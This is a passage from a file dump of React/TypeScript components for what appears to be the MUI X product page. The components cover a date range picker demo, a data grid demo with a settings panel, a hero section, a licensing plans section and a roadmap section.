    "content": "import Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Chip from '@mui/material/Chip';\nimport Divider from '@mui/material/Divider';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport { StaticDateRangePicker } from '@mui/x-date-pickers-pro/StaticDateRangePicker';\nimport {\n  PickersShortcutsItem,\n  PickersShortcutsProps,\n  DateRange,\n  useIsValidValue,\n  usePickerActionsContext,\n} from '@mui/x-date-pickers-pro';\nimport { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';\nimport { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\nimport dayjs, { Dayjs } from 'dayjs';\nimport Frame from 'docs/src/components/action/Frame';\n\nconst startDate = dayjs();\nstartDate.date(10);\nconst endDate = dayjs();\nendDate.date(endDate.date() + 28);\n\nfunction CustomRangeShortcuts(props: PickersShortcutsProps<DateRange<Dayjs>>) {\n  const { items, changeImportance = 'accept' } = props;\n  const isValid = useIsValidValue<DateRange<Dayjs>>();\n  const { setValue } = usePickerActionsContext<DateRange<Dayjs>>();\n\n  if (items == null || items.length === 0) {\n    return null;\n  }\n\n  const resolvedItems = items.map((item) => {\n    const newValue = item.getValue({ isValid });\n\n    return {\n      label: item.label,\n      onClick: () => {\n        setValue(newValue, { changeImportance, shortcut: item });\n      },\n      disabled: !isValid(newValue),\n    };\n  });\n\n  return (\n    <Box sx={{ gridRow: 1, gridColumn: '2 / 4' }}>\n      <List\n        sx={{\n          display: 'flex',\n          p: 1.5,\n          gap: 1.5,\n          '& .MuiListItem-root': {\n            p: 0,\n            width: 'fit-content',\n          },\n        }}\n      >\n        {resolvedItems.map((item) => {\n          return (\n            <ListItem key={item.label}>\n              <Chip size=\"small\" {...item} />\n            </ListItem>\n          );\n        })}\n      </List>\n      <Divider />\n    </Box>\n  );\n}\n\nconst code = `\n<LocalizationProvider dateAdapter={AdapterDateFns}>\n  <StaticDateRangePicker\n    displayStaticWrapperAs=\"desktop\"\n    value={[startDate, endDate]}\n    slots={{\n      shortcuts: CustomRangeShortcuts,\n    }}\n    slotProps={{\n      shortcuts: {\n        items: shortcutsItems,\n      },\n    }}\n  />\n</LocalizationProvider>`;\n\nexport default function XDateRangeDemo() {\n  const today = dayjs();\n  const shortcutsItems: PickersShortcutsItem<DateRange<Dayjs>>[] = [\n    {\n      label: 'This Week',\n      getValue: () => {\n        return [today.startOf('week'), today.endOf('week')];\n      },\n    },\n    {\n      label: 'Last Week',\n      getValue: () => {\n        const prevWeek = today.add(-7, 'days');\n        return [prevWeek.startOf('week'), prevWeek.endOf('week')];\n      },\n    },\n    {\n      label: 'Last 7 Days',\n      getValue: () => {\n        return [today.add(-7, 'days'), today];\n      },\n    },\n    { label: 'Reset', getValue: () => [null, null] },\n  ];\n\n  return (\n    <Frame>\n      <Frame.Demo sx={{ p: 2 }}>\n        <Paper\n          variant=\"outlined\"\n          sx={[\n            {\n              borderRadius: '8px',\n              overflow: 'hidden',\n              '& > div': {\n                overflow: 'auto',\n                bgcolor: '#FFF',\n              },\n              '& > div > div > div > div': {\n                flexGrow: 1,\n              },\n              '& .MuiTypography-subtitle1': {\n                fontSize: '0.875rem',\n              },\n              '& .MuiTypography-caption': {\n                width: 28,\n                height: 32,\n              },\n              '& .MuiPickersSlideTransition-root': {\n                minWidth: 258,\n                minHeight: 238,\n              },\n              '& [role=\"row\"]': {\n                margin: '4px 0',\n              },\n              '& .MuiDateRangePickerDay-root': {\n                lineHeight: 0,\n                margin: 0,\n              },\n              '& .MuiPickersArrowSwitcher-root': {\n                padding: 0,\n                paddingTop: 0.5,\n              },\n              '& .MuiPickersDay-root': {\n                width: 28,\n                height: 28,\n                fontWeight: 'regular',\n              },\n              '& .MuiDateRangePickerDay-day.Mui-selected': {\n                fontWeight: 'semiBold',\n              },\n              '& .MuiDateRangePickerDay-day:not(.Mui-selected)': {\n                borderColor: 'primary.300',\n              },\n              '& .MuiPickersLayout-actionBar': {\n                borderTop: '1px solid',\n                borderColor: 'divider',\n              },\n            },\n            (theme) =>\n              theme.applyDarkStyles({\n                '& > div': {\n                  bgcolor: 'primaryDark.900',\n                },\n                '& .MuiDateRangePickerDay-day.Mui-selected': {\n                  color: '#FFF',\n                },\n              }),\n          ]}\n        >\n          <LocalizationProvider dateAdapter={AdapterDayjs}>\n            <StaticDateRangePicker\n              displayStaticWrapperAs=\"desktop\"\n              defaultValue={[startDate, endDate]}\n              slots={{\n                shortcuts: CustomRangeShortcuts,\n              }}\n              slotProps={{\n                shortcuts: {\n                  items: shortcutsItems,\n                },\n              }}\n            />\n          </LocalizationProvider>\n        </Paper>\n      </Frame.Demo>\n      <Frame.Info data-mui-color-scheme=\"dark\" sx={{ maxHeight: 300, overflow: 'auto' }}>\n        <HighlightedCode copyButtonHidden plainStyle code={code} language=\"jsx\" />\n      </Frame.Info>\n    </Frame>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productX/XGridFullDemo.tsx",
    "content": "import * as React from 'react';\nimport { red, green, yellow, blue } from '@mui/material/colors';\nimport { alpha } from '@mui/material/styles';\nimport { DataGridPro, GridPaginationModel } from '@mui/x-data-grid-pro';\nimport { useDemoData } from '@mui/x-data-grid-generator';\nimport FormControl from '@mui/material/FormControl';\nimport FormGroup from '@mui/material/FormGroup';\nimport Button from '@mui/material/Button';\nimport Paper from '@mui/material/Paper';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport Select, { SelectChangeEvent } from '@mui/material/Select';\nimport Frame from 'docs/src/components/action/Frame';\nimport XGridGlobalStyles from 'docs/src/components/home/XGridGlobalStyles';\n\ntype GridDataType = 'Employee' | 'Commodity';\n\ninterface GridPaginationSettings {\n  pagination: boolean;\n  autoPageSize: boolean;\n  paginationModel: GridPaginationModel | undefined;\n}\n\ninterface GridConfigOptions {\n  size: number;\n  type: GridDataType;\n  pagesize: number;\n}\n\ninterface GridToolbarContainerProps {\n  onApply: (options: GridConfigOptions) => void;\n  size: number;\n  type: GridDataType;\n}\n\nconst pageSizeOptions = [25, 100, 1000];\n\nfunction SettingsPanel(props: GridToolbarContainerProps) {\n  const { onApply, type, size } = props;\n  const [sizeState, setSize] = React.useState<number>(size);\n  const [typeState, setType] = React.useState<GridDataType>(type);\n  const [selectedPaginationValue, setSelectedPaginationValue] = React.useState<number>(-1);\n\n  const handleSizeChange = React.useCallback((event: SelectChangeEvent<string>) => {\n    setSize(Number(event.target.value));\n  }, []);\n\n  const handleDatasetChange = React.useCallback((event: SelectChangeEvent<GridDataType>) => {\n    setType(event.target.value as GridDataType);\n  }, []);\n\n  const handlePaginationChange = React.useCallback((event: SelectChangeEvent<number>) => {\n    setSelectedPaginationValue(Number(event.target.value));\n  }, []);\n\n  const handleApplyChanges = React.useCallback(() => {\n    onApply({\n      size: sizeState,\n      type: typeState,\n      pagesize: selectedPaginationValue,\n    });\n  }, [sizeState, typeState, selectedPaginationValue, onApply]);\n\n  return (\n    <FormGroup\n      className=\"MuiFormGroup-options\"\n      sx={{\n        flexDirection: 'row',\n        alignContent: { xs: 'start', sm: 'center' },\n        alignItems: { xs: 'start', sm: 'center' },\n        '& > *': {\n          '&:not(:first-child)': { ml: { xs: 0, sm: 1 } },\n          '&:last-child': { ml: 'auto' },\n        },\n        '& .MuiFilledInput-root': {\n          borderRadius: 1,\n          backgroundColor: 'transparent',\n        },\n        '& .MuiInputBase-sizeSmall': {\n          fontSize: '0.875rem',\n        },\n      }}\n    >\n      <FormControl variant=\"filled\" size=\"small\">\n        <InputLabel id=\"Dataset\">Dataset</InputLabel>\n        <Select labelId=\"Dataset\" value={typeState} onChange={handleDatasetChange} disableUnderline>\n          <MenuItem value=\"Employee\">Employee</MenuItem>\n          <MenuItem value=\"Commodity\">Commodity</MenuItem>\n        </Select>\n      </FormControl>\n      <FormControl variant=\"filled\" size=\"small\">\n        <InputLabel id=\"Rows\">Rows</InputLabel>\n        <Select\n          labelId=\"Rows\"\n          value={String(sizeState)}\n          onChange={handleSizeChange}\n          disableUnderline\n        >\n          <MenuItem value={100}>100</MenuItem>\n          <MenuItem value={1000}>{Number(1000).toLocaleString()}</MenuItem>\n          <MenuItem value={10000}>{Number(10000).toLocaleString()}</MenuItem>\n          <MenuItem value={100000}>{Number(100000).toLocaleString()}</MenuItem>\n        </Select>\n      </FormControl>\n      <FormControl variant=\"filled\" size=\"small\" sx={{ minWidth: 80 }}>\n        <InputLabel id=\"Page size\">Page size</InputLabel>\n        <Select\n          labelId=\"Page size\"\n          value={selectedPaginationValue}\n          onChange={handlePaginationChange}\n          disableUnderline\n        >\n          <MenuItem value={-1}>off</MenuItem>\n          <MenuItem value={0}>auto</MenuItem>\n          {pageSizeOptions.map((pageSize) => (\n            <MenuItem key={pageSize} value={pageSize}>\n              {Number(pageSize).toLocaleString()}\n            </MenuItem>\n          ))}\n        </Select>\n      </FormControl>\n      <Button\n        variant=\"outlined\"\n        size=\"small\"\n        onClick={handleApplyChanges}\n        sx={{ mt: { xs: 2, sm: 0 }, width: { xs: '100%', sm: 'fit-content' } }}\n      >\n        Apply changes\n      </Button>\n    </FormGroup>\n  );\n}\n\nexport default function XGridFullDemo() {\n  const [type, setType] = React.useState<GridDataType>('Commodity');\n  const [size, setSize] = React.useState(100);\n  const { loading, data, setRowLength, loadNewData } = useDemoData({\n    dataSet: type,\n    rowLength: size,\n    maxColumns: 20,\n    editable: true,\n  });\n\n  const [pagination, setPagination] = React.useState<GridPaginationSettings>({\n    pagination: false,\n    autoPageSize: false,\n    paginationModel: undefined,\n  });\n\n  const handleApplyClick = (settings: GridConfigOptions) => {\n    if (size !== settings.size) {\n      setSize(settings.size);\n    }\n\n    if (type !== settings.type) {\n      setType(settings.type);\n    }\n\n    if (size !== settings.size || type !== settings.type) {\n      setRowLength(settings.size);\n      loadNewData();\n    }\n\n    const newPaginationSettings: GridPaginationSettings = {\n      pagination: settings.pagesize !== -1,\n      autoPageSize: settings.pagesize === 0,\n      paginationModel: settings.pagesize > 0 ? { pageSize: settings.pagesize, page: 0 } : undefined,\n    };\n\n    setPagination(newPaginationSettings);\n  };\n\n  const handlePaginationModelChange = React.useCallback((newModel: GridPaginationModel) => {\n    setPagination((prev) => ({\n      ...prev,\n      paginationModel: newModel,\n    }));\n  }, []);\n\n  return (\n    <Frame>\n      <Frame.Demo sx={{ p: 2 }}>\n        <XGridGlobalStyles selector=\"#data-grid-full\" pro />\n        <Paper\n          id=\"data-grid-full\"\n          variant=\"outlined\"\n          sx={[\n            {\n              borderRadius: '8px',\n\n              height: { xs: 320, sm: 500 },\n              '& .MuiDataGrid-root': {\n                '& .MuiAvatar-root': { width: 24, height: 24, fontSize: 14, fontWeight: 'bold' },\n                '& .MuiButton-root': { marginLeft: 0, marginRight: 1 },\n                '& .MuiChip-root.Rejected': {\n                  color: red[800],\n                  backgroundColor: red[50],\n                  borderColor: red[100],\n                },\n                '& .MuiChip-root.Filled': {\n                  color: green[800],\n                  backgroundColor: green[50],\n                  borderColor: green[100],\n                },\n                '& .MuiChip-root.Open': {\n                  color: blue[800],\n                  backgroundColor: blue[50],\n                  borderColor: blue[100],\n                },\n                '& .MuiChip-root.PartiallyFilled': {\n                  color: 'text.secondary',\n                  backgroundColor: yellow[50],\n                  borderColor: yellow[600],\n                },\n                '& .MuiDataGrid-footerContainer': {\n                  minHeight: 48,\n                  borderTop: '1px solid',\n                  borderColor: 'grey.200',\n                },\n                '& .MuiTablePagination-root': {\n                  fontSize: '0.75rem',\n                  '& p': {\n                    fontSize: '0.75rem',\n                  },\n                  '& .MuiToolbar-root': {\n                    minHeight: 48,\n                  },\n                },\n              },\n            },\n            (theme) =>\n              theme.applyDarkStyles({\n                '& .MuiDataGrid-root': {\n                  '& .MuiDataGrid-footerContainer': {\n                    borderColor: 'primaryDark.600',\n                  },\n                  '& .MuiChip-root.Rejected': {\n                    color: red[200],\n                    backgroundColor: alpha(red[900], 0.2),\n                    borderColor: alpha(red[700], 0.5),\n                  },\n                  '& .MuiChip-root.Filled': {\n                    color: green[200],\n                    backgroundColor: alpha(green[900], 0.2),\n                    borderColor: alpha(green[700], 0.5),\n                  },\n                  '& .MuiChip-root.Open': {\n                    color: blue[200],\n                    backgroundColor: alpha(blue[900], 0.2),\n                    borderColor: alpha(blue[700], 0.5),\n                  },\n                  '& .MuiChip-root.PartiallyFilled': {\n                    color: yellow[200],\n                    backgroundColor: alpha(yellow[900], 0.2),\n                    borderColor: alpha(yellow[700], 0.2),\n                  },\n                },\n              }),\n          ]}\n        >\n          <DataGridPro\n            {...data}\n            initialState={{ density: 'compact' }}\n            loading={loading}\n            checkboxSelection\n            disableRowSelectionOnClick\n            pageSizeOptions={pageSizeOptions}\n            {...pagination}\n            onPaginationModelChange={handlePaginationModelChange}\n            showToolbar\n          />\n        </Paper>\n      </Frame.Demo>\n      <Frame.Info\n        data-mui-color-scheme=\"dark\"\n        sx={{ pl: { xs: 2, sm: 1 }, pr: 2, py: { xs: 2, sm: 1.5 } }}\n      >\n        <SettingsPanel onApply={handleApplyClick} size={size} type={type} />\n      </Frame.Info>\n    </Frame>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productX/XHero.tsx",
    "content": "import * as React from 'react';\nimport { red, green, yellow, blue } from '@mui/material/colors';\nimport Box from '@mui/material/Box';\nimport Divider from '@mui/material/Divider';\nimport Paper from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\nimport { StaticDateRangePicker } from '@mui/x-date-pickers-pro/StaticDateRangePicker';\nimport { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';\nimport { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';\nimport { alpha } from '@mui/material/styles';\nimport {\n  DataGridPremium,\n  useGridApiRef,\n  useKeepGroupedColumnsHidden,\n} from '@mui/x-data-grid-premium';\nimport { useDemoData } from '@mui/x-data-grid-generator';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport GetStartedButtons from 'docs/src/components/home/GetStartedButtons';\nimport HeroContainer from 'docs/src/layouts/HeroContainer';\nimport IconImage from '@mui/docs/IconImage';\nimport FolderTreeView from 'docs/src/components/showcase/FolderTreeView';\nimport ROUTES from 'docs/src/route';\nimport dayjs from 'dayjs';\n\nconst startDate = dayjs();\nstartDate.date(10);\nconst endDate = dayjs();\nendDate.date(endDate.date() + 28);\n\nconst visibleFields = [\n  'commodity',\n  'unitPrice',\n  'feeRate',\n  'quantity',\n  'filledQuantity',\n  'isFilled',\n  'traderName',\n  'status',\n  'totalPrice',\n];\n\nexport default function XHero() {\n  const { loading, data } = useDemoData({\n    dataSet: 'Commodity',\n    rowLength: 10000,\n    editable: true,\n    visibleFields,\n  });\n  const apiRef = useGridApiRef();\n\n  const sortedColumns = React.useMemo(() => {\n    return [...data.columns].sort((a, b) => {\n      return visibleFields.indexOf(a.field) - visibleFields.indexOf(b.field);\n    });\n  }, [data.columns]);\n\n  const initialState = useKeepGroupedColumnsHidden({\n    apiRef,\n    initialState: {\n      ...data.initialState,\n      rowGrouping: {\n        model: ['commodity'],\n      },\n      aggregation: {\n        model: {\n          quantity: 'sum',\n          unitPrice: 'avg',\n          feeRate: 'min',\n          totalPrice: 'max',\n        },\n      },\n    },\n  });\n\n  const groupingColDef = React.useMemo(\n    () => ({\n      headerClassName: 'grouping-column-header',\n    }),\n    [],\n  );\n\n  const rowGroupingCounterRef = React.useRef(0);\n  const isGroupExpandedByDefault = React.useCallback(() => {\n    rowGroupingCounterRef.current += 1;\n    return rowGroupingCounterRef.current === 3;\n  }, []);\n\n  return (\n    <HeroContainer\n      linearGradient\n      left={\n        <Box sx={{ textAlign: { xs: 'center', md: 'left' } }}>\n          <Typography\n            variant=\"body2\"\n            sx={[\n              {\n                fontWeight: 'bold',\n              },\n              (theme) => ({\n                color: 'primary.600',\n                display: 'flex',\n                alignItems: 'center',\n                justifyContent: { xs: 'center', md: 'flex-start' },\n                '& > *': { mr: 1 },\n                ...theme.applyDarkStyles({\n                  color: 'primary.400',\n                }),\n              }),\n            ]}\n          >\n            <IconImage width={28} height={28} loading=\"eager\" name=\"product-advanced\" /> MUI X\n          </Typography>\n          <Typography variant=\"h1\" sx={{ my: 2, maxWidth: 500 }}>\n            Performant\n            <br />\n            <GradientText>advanced</GradientText>\n            <br /> components\n          </Typography>\n          <Typography sx={{ color: 'text.secondary', mb: 3, maxWidth: 500 }}>\n            Build complex and data-rich applications using a growing list of advanced React\n            components, like the Data Grid, Date and Time Pickers, Charts, and more!\n          </Typography>\n          <GetStartedButtons\n            primaryUrl={ROUTES.xIntro}\n            secondaryLabel=\"Learn about licensing\"\n            secondaryUrl={ROUTES.xLicensing}\n          />\n        </Box>\n      }\n      rightSx={{\n        p: { md: 2, lg: 3, xl: 4 },\n        overflow: 'hidden', // the components on the Hero section are mostly illustrative, even though they're interactive. That's why scrolling is disabled.\n      }}\n      right={\n        <React.Fragment>\n          <Paper\n            variant=\"outlined\"\n            sx={(theme) => ({\n              backgroundColor: '#fff',\n              border: '1px solid',\n              borderColor: 'divider',\n              boxShadow: `0px 4px 8px ${alpha(theme.palette.grey[200], 0.6)}`,\n              mb: { md: 2, lg: 3, xl: 4 },\n              overflow: 'hidden',\n              ...theme.applyDarkStyles({\n                borderColor: 'primaryDark.700',\n                backgroundColor: 'primaryDark.900',\n                boxShadow: '0px 4px 6px rgba(0, 0, 0, 0.2)',\n              }),\n            })}\n          >\n            <Typography\n              variant=\"body2\"\n              sx={{ fontWeight: 'semiBold', textAlign: 'center', py: 1.5 }}\n            >\n              Trades, March 2023\n            </Typography>\n            <Divider />\n            <Box\n              sx={[\n                {\n                  height: { md: 300, xl: 370 },\n                  '& .MuiDataGrid-root': {\n                    border: 0,\n                    color: 'text.secondary',\n                    '--DataGrid-rowBorderColor': (theme) => theme.palette.grey[200],\n                    '& .MuiCheckbox-root': {\n                      p: 0.5,\n                      '& > svg': {\n                        fontSize: '1.25rem',\n                      },\n                    },\n                    [`& .MuiDataGrid-aggregationColumnHeaderLabel`]: {\n                      fontWeight: 'normal',\n                    },\n                    [`& .MuiDataGrid-columnHeader:focus, & .MuiDataGrid-columnHeader:focus-within`]:\n                      {\n                        outline: 'none',\n                      },\n                    '& .MuiDataGrid-columnHeaderTitleContainer': {\n                      padding: 0,\n                      color: 'text.primary',\n                    },\n                    '& .MuiDataGrid-columnHeaderTitle': {\n                      flexGrow: 1,\n                      fontSize: '0.875rem',\n                    },\n                    '& button, & button > svg': {\n                      fontSize: 16,\n                    },\n                    '& .MuiChip-root.Rejected': {\n                      color: red[800],\n                      backgroundColor: red[50],\n                      borderColor: red[100],\n                    },\n                    '& .MuiChip-root.Filled': {\n                      color: green[800],\n                      backgroundColor: green[50],\n                      borderColor: green[100],\n                    },\n                    '& .MuiChip-root.Open': {\n                      color: blue[800],\n                      backgroundColor: blue[50],\n                      borderColor: blue[100],\n                    },\n                    '& .MuiChip-root.PartiallyFilled': {\n                      color: 'text.secondary',\n                      backgroundColor: yellow[50],\n                      borderColor: yellow[600],\n                    },\n                    '& .grouping-column-header': {\n                      pl: 6,\n                    },\n                  },\n                },\n                (theme) =>\n                  theme.applyDarkStyles({\n                    '& .MuiDataGrid-root': {\n                      '--DataGrid-rowBorderColor': alpha(theme.palette.primaryDark[600], 0.5),\n                      '& .MuiChip-root.Rejected': {\n                        color: red[200],\n                        backgroundColor: alpha(red[900], 0.2),\n                        borderColor: alpha(red[700], 0.5),\n                      },\n                      '& .MuiChip-root.Filled': {\n                        color: green[200],\n                        backgroundColor: alpha(green[900], 0.2),\n                        borderColor: alpha(green[700], 0.5),\n                      },\n                      '& .MuiChip-root.Open': {\n                        color: blue[200],\n                        backgroundColor: alpha(blue[900], 0.2),\n                        borderColor: alpha(blue[700], 0.5),\n                      },\n                      '& .MuiChip-root.PartiallyFilled': {\n                        color: yellow[200],\n                        backgroundColor: alpha(yellow[900], 0.2),\n                        borderColor: alpha(yellow[700], 0.2),\n                      },\n                      '& .MuiDataGrid-pinnedRows': {\n                        backgroundColor: alpha(theme.palette.primaryDark[800], 1),\n                        backgroundImage: 'none',\n                        '& .MuiDataGrid-footerCell': {\n                          color: 'primary.light',\n                        },\n                      },\n                    },\n                  }),\n              ]}\n            >\n              <DataGridPremium\n                {...data}\n                columns={sortedColumns}\n                apiRef={apiRef}\n                initialState={initialState}\n                disableRowSelectionOnClick\n                groupingColDef={groupingColDef}\n                rowHeight={36}\n                columnHeaderHeight={48}\n                hideFooter\n                loading={loading}\n                isGroupExpandedByDefault={isGroupExpandedByDefault}\n              />\n            </Box>\n          </Paper>\n          <Box\n            sx={{\n              display: 'flex',\n              overflow: { md: 'auto', xl: 'unset' },\n              m: { md: -2, lg: -3, xl: 0 },\n              p: { md: 2, lg: 3, xl: 0 },\n            }}\n          >\n            <Paper\n              variant=\"outlined\"\n              sx={(theme) => ({\n                minWidth: 300,\n                mr: { md: 2, lg: 3, xl: 4 },\n                flexGrow: 1,\n                backgroundColor: '#fff',\n                borderColor: 'divider',\n                boxShadow: `0px 4px 8px ${alpha(theme.palette.grey[200], 0.6)}`,\n                ...theme.applyDarkStyles({\n                  borderColor: 'primaryDark.700',\n                  backgroundColor: 'primaryDark.900',\n                  boxShadow: '0px 4px 6px rgba(0, 0, 0, 0.2)',\n                }),\n              })}\n            >\n              <Typography variant=\"body2\" sx={{ fontWeight: 'semiBold', p: 2 }}>\n                Cool UI project\n              </Typography>\n              <Divider />\n              <FolderTreeView />\n            </Paper>\n            <Paper\n              variant=\"outlined\"\n              sx={[\n                {\n                  borderColor: 'divider',\n                  boxShadow: (theme) => `0px 4px 12px ${alpha(theme.palette.grey[200], 0.6)}`,\n                  '& > div': {\n                    borderRadius: 1,\n                    overflow: 'auto',\n                    backgroundColor: 'initial',\n                  },\n                  '& .MuiTypography-subtitle1': {\n                    fontSize: '0.875rem',\n                  },\n                  '& .MuiTypography-caption': {\n                    width: { xs: 28, xl: 32 },\n                    height: 32,\n                  },\n                  '& .MuiPickersSlideTransition-root': {\n                    minWidth: { xs: 268, xl: 300 },\n                    minHeight: { xs: 238, xl: 288 },\n                  },\n                  '& [role=\"row\"]': {\n                    margin: { xs: '4px 0', xl: '6px 0' },\n                  },\n                  '& .MuiPickersArrowSwitcher-root': {\n                    padding: 1,\n                  },\n                  '& .MuiDateRangePickerDay-root': {\n                    lineHeight: 0,\n                    margin: 0,\n                  },\n                  '& .MuiPickersDay-root': {\n                    width: { xs: 28, xl: 32 },\n                    height: { xs: 28, xl: 32 },\n                    fontWeight: 400,\n                  },\n                  '& .MuiDateRangePickerDay-day.Mui-selected': {\n                    fontWeight: 600,\n                  },\n                  '& .MuiDateRangePickerDay-day:not(.Mui-selected)': {\n                    borderColor: 'primary.300',\n                  },\n                },\n                (theme) =>\n                  theme.applyDarkStyles({\n                    borderColor: 'primaryDark.700',\n                    boxShadow: '0px 4px 6px rgba(0, 0, 0, 0.2)',\n                    backgroundColor: 'primaryDark.900',\n                    '& .MuiDateRangePickerDay-day.Mui-selected': {\n                      color: '#FFF',\n                    },\n                  }),\n              ]}\n            >\n              <LocalizationProvider dateAdapter={AdapterDayjs}>\n                <StaticDateRangePicker\n                  displayStaticWrapperAs=\"desktop\"\n                  defaultValue={[startDate, endDate]}\n                />\n              </LocalizationProvider>\n            </Paper>\n          </Box>\n        </React.Fragment>\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productX/XPlans.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport ROUTES from 'docs/src/route';\nimport { InfoCard } from '@mui/docs/InfoCard';\nimport IconImage from '@mui/docs/IconImage';\nimport GetStartedButtons from 'docs/src/components/home/GetStartedButtons';\n\nconst content = [\n  {\n    icon: <IconImage name=\"pricing/x-plan-community\" mode=\"\" loading=\"eager\" />,\n    title: 'Community version',\n    description:\n      'Free forever. This version contains features that we believe are maintainable by contributions from the open-source community.',\n    link: '/x/introduction/licensing/#community-plan',\n  },\n  {\n    icon: <IconImage name=\"pricing/x-plan-pro\" mode=\"\" loading=\"eager\" />,\n    title: 'Pro plan',\n    description:\n      'More advanced capabilities such as multi-filtering, multi-sorting, and more for the Data Grid; as well as the other components.',\n    link: '/x/introduction/licensing/#pro-plan',\n  },\n  {\n    icon: <IconImage name=\"pricing/x-plan-premium\" mode=\"\" loading=\"eager\" />,\n    title: 'Premium plan',\n    description:\n      'The most advanced features for every component, including row grouping and Excel export for the Data Grid, plus everything included in the Pro plan.',\n    link: '/x/introduction/licensing/#premium-plan',\n  },\n];\n\nexport default function XPlans2() {\n  return (\n    <Section cozy>\n      <Grid container spacing={2} sx={{ alignItems: 'center' }}>\n        <Grid size={{ md: 6 }}>\n          <SectionHeadline\n            overline=\"Plans\"\n            title={\n              <Typography variant=\"h2\">\n                Available with <GradientText>MIT and commercial</GradientText> licenses\n              </Typography>\n            }\n            description=\"MUI X components are available under two licenses: MIT for the free community version, and commercial for Pro and Premium plans.\"\n          />\n          <GetStartedButtons\n            primaryLabel=\"Compare plans\"\n            primaryUrl={ROUTES.pricing}\n            secondaryLabel=\"Learn about licensing\"\n            secondaryUrl={ROUTES.xLicensing}\n          />\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          <Stack spacing={2} useFlexGap>\n            {content.map(({ icon, title, description, link }) => (\n              <InfoCard\n                key={title}\n                title={title}\n                icon={icon}\n                description={description}\n                link={link}\n              />\n            ))}\n          </Stack>\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productX/XRoadmap.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Grid from '@mui/material/Grid';\nimport Paper from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport PivotTableChartRoundedIcon from '@mui/icons-material/PivotTableChartRounded';\nimport CalendarMonthRoundedIcon from '@mui/icons-material/CalendarMonthRounded';\nimport AccountTreeRounded from '@mui/icons-material/AccountTreeRounded';\nimport BarChartRounded from '@mui/icons-material/BarChartRounded';\nimport FileUploadRounded from '@mui/icons-material/FileUploadRounded';\nimport PendingActionsRounded from '@mui/icons-material/PendingActions';\nimport FormatSizeRoundedIcon from '@mui/icons-material/FormatSizeRounded';\nimport ViewTimelineIcon from '@mui/icons-material/ViewTimeline';\nimport { alpha } from '@mui/material/styles';\nimport ROUTES from 'docs/src/route';\nimport { Link } from '@mui/docs/Link';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport Section from 'docs/src/layouts/Section';\nimport GradientText from 'docs/src/components/typography/GradientText';\n\ninterface RoadmapStatusDotProps {\n  color: string;\n}\n\nfunction RoadmapStatusDot({ color }: RoadmapStatusDotProps) {\n  return (\n    <Box\n      sx={{\n        ml: 1,\n        display: 'inline-block',\n        width: 8,\n        height: 8,\n        borderRadius: 10,\n        bgcolor: `${color}`,\n      }}\n    />\n  );\n}\n\nexport default function XRoadmap() {\n  function renderList(content: React.ReactElement<unknown>, nested?: boolean) {\n    return (\n      <Box\n        sx={{\n          mt: 2,\n          display: 'grid',\n          alignItems: 'center',\n          gap: 1.5,\n          gridTemplateColumns: 'max-content 1fr',\n          position: 'relative',\n          fontWeight: 'semiBold',\n          ...(nested && {\n            '&::before': {\n              content: '\"\"',\n              display: 'block',\n              position: 'absolute',\n              width: 1.5,\n              bgcolor: 'primaryDark.600',\n              top: 24,\n              bottom: 10,\n              left: 8,\n            },\n          }),\n        }}\n      >\n        {content}\n      </Box>\n    );\n  }\n  const bullet = (\n    <Box\n      sx={{\n        ml: 1,\n        mr: -2,\n        display: 'flex',\n        alignItems: 'center',\n        '&::before': {\n          content: '\"\"',\n          display: 'block',\n          height: 1.5,\n          width: 15,\n          bgcolor: 'primaryDark.600',\n        },\n      }}\n    />\n  );\n  return (\n    <Section\n      cozy\n      data-mui-color-scheme=\"dark\"\n      sx={{\n        color: 'text.secondary',\n        background: (theme) =>\n          `linear-gradient(180deg, ${(theme.vars || theme).palette.primaryDark[900]} 50%, \n        ${alpha(theme.palette.primary[800], 0.2)} 100%), ${\n          (theme.vars || theme).palette.primaryDark[900]\n        }`,\n      }}\n    >\n      <Grid container spacing={2} sx={{ alignItems: 'center', justifyContent: 'space-between' }}>\n        <Grid size={{ xs: 12, md: 5 }}>\n          <SectionHeadline\n            overline=\"Roadmap\"\n            title={\n              <Typography variant=\"h2\">\n                Follow the <GradientText>MUI X roadmap</GradientText> for future updates\n              </Typography>\n            }\n            description=\"It's just the beginning for the MUI X components. Stay tuned for exciting news and updates coming soon!\"\n          />\n          <Button\n            component={Link}\n            href={ROUTES.xRoadmap}\n            noLinkStyle\n            variant=\"contained\"\n            endIcon={<KeyboardArrowRightRounded />}\n            sx={{ width: { xs: '100%', sm: 'auto' } }}\n          >\n            See the roadmap\n          </Button>\n        </Grid>\n        <Grid\n          size={{ xs: 12, md: 7, lg: 'auto' }}\n          container\n          spacing={2}\n          sx={{\n            typography: 'body2',\n            '& .MuiPaper-root': {\n              p: 2,\n              minWidth: { lg: 180 },\n            },\n            '& svg': {\n              color: 'primary.300',\n            },\n          }}\n        >\n          <Grid size={{ xs: 12, sm: 4, lg: 'auto' }}>\n            <Paper variant=\"outlined\">\n              <Typography\n                component=\"div\"\n                variant=\"body2\"\n                sx={{ fontWeight: 'bold', color: 'text.primary' }}\n              >\n                Stable\n                